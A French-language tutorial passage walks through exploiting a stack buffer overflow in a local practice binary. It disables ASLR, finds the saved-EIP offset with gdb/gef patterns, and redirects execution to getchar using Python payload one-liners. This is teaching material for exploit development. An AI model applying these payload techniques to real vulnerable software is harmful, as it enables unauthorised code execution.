Passons à la pratique!
Première phase de l'exploitation
Nous allons desormais nous appuyer sur le programme précédement vu afin de l'exploiter
Pour commencer on va désactiver l'ASLR avec cette commande:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
*ASLR: protection qui va rendre aléatoire certains espace d'adressage
On a vu plus tôt comment le programme fonctionnait en lui donnant quelques "A"
Maintenant voyons voir ce qu'il se passe lorsque nous lui en donnons plus que prévu
$ ./vuln
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
��
Segmentation fault (core dumped)
$
On reçoit un beau segmentation fault (le programme a tout simplement tenté d'acceder à l'adresse 0x41414141, donc nos "A")
Maintenant jettons un petit coup d'oeil à notre stack:
0xbfff0000: 41 41 41 41
0xbfff0004: 41 41 41 41
0xbfff0008: 41 41 41 00
...
0xbfff0020: 41 41 41 41 <- sEBP
0xbfff0024: 41 41 41 41 <- sEIP
On vient tout simplement d'overwrite notre sauvegarde d'EIP
La vulnérabilité se trouve ici:
// vuln()
char buffer[32];
read(0, buffer, 128);
On va lire 128 caracteres du stdin pour en mettre seulement 32 dans la variable buffer
, donc logiquement si on entre plus que 32 caractere on va overwrite toutes les addresses qui suivent
Bon, c'est bien beau d'overwrite la sauvegarde de notre return instruction pointer avec des "A" mais maintenant comment va réagir le programme si nous remplacons ces "A" (plus précisément les "A" qui se trouve dans notre sauvegarde d'EIP) par une adresse valide? Une fonction par exemple :)
Je vais pour ce premier exemple utilser la fonction getchar
qui va comme read
attendre une entrée utilisateur
Récuperation de l'offset
Pour pouvoir remplacer nos "A" par une adresse valide nous devons d'abord trouver le nombre de "A" à parcourir avant d'arriver à la sauvegarde d'EIP, notre "offset", il existe plusieurs méthodes pour pouvoir faire ça, je vais citer ici la plus simple, ça consiste simplement à envoyer un "pattern" au programme, puis voir où le programme plante, pour faire ça je vais utiliser gdb
(debugger de GNU) avec l'extension gef
Je vais donc lancer gdb sur notre programme vuln
$ gdb vuln
Reading symbols from vuln...
(No debugging symbols found in vuln)
GEF for linux ready, type `gef' to start, `gef config' to configure
78 commands loaded for GDB 8.3 using Python engine 3.7
gef➤
On va donc commencer par générer notre pattern avec la commande pattern create <nombre de chars.>
gef➤ pattern c 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤
On va ensuite lancer le programme puis lui envoyer notre pattern avec la commande run
gef➤ r
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabl # notre jolie pattern généré plus haut
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
...
Donc on voit bien que le programme plante car il tente d'acceder à l'adresse 0x6161616c
, qui est en réalité: "laaa" (suite de caractere unique dans notre pattern)
Maintenant on va utiliser la commande pattern search <fault addr>
pour pouvoir trouver notre offset
gef➤ pattern s 0x6161616c
[+] Searching '0x6161616c'
[+] Found at offset 44 (little-endian search) likely
# [+] Found at offset 41 (big-endian search)
gef➤
Et voila on vient de trouver notre offset!
Il nous faudra donc parcourir 44 "A" avant de tomber sur notre sauvegarde d'EIP
Maintenant pour en être sûr, on va envoyer au programme 44 "A" suivi de 4 "B"
gef➤ r < <(python -c 'print "A"*44+"B"*4') # On automatise ce processus avec python
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "A"*44+"B"*4')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
@��
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
...
Voila, on voit bien que le programme crash car il tente d'acceder à l'adresse 0x42424242 qui sont en réalité nos "B" en hexa'
Hijack de notre sauvegarde d'EIP
Maintenant on va juste modifier nos "B" par une adresse existante, comme je l'ai cité plus haut, je vais choisir la fonction getchar
(de la librairie stdio que l'on load dans notre programme)
Pour récupérer l'adresse de cette fonction je vais tout simplement avec gdb taper la commande info address getchar
gef➤ info address getchar
Symbol "getchar" is at 0xf7e33820 in a file compiled without debugging.
gef➤
Pour ma part l'addresse de getchar
est 0xf7e33820
, on va donc mettre ça en little endian (qui est le format utiliser en i386) ce qui nous donne 0x2038e3f7
en envera donc la str "\x20\x38\xe3\xf7
" grace à python
On va donc essayer:
gef➤ r < <(python -c 'print "A"*44+"\x20\x38\xe3\xf7"')
Starting program: /home/zepp/pwn/exploits/i386/ret2shellcode/vuln < <(python -c 'print "A"*44+"\x20\x38\xe3\xf7"')
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 8��
izeiuheiuzhizhf # la fonction getchar s'execute
...
On remarque donc que la fonction getchar
a bien été appelé, tout marche comme prévu :p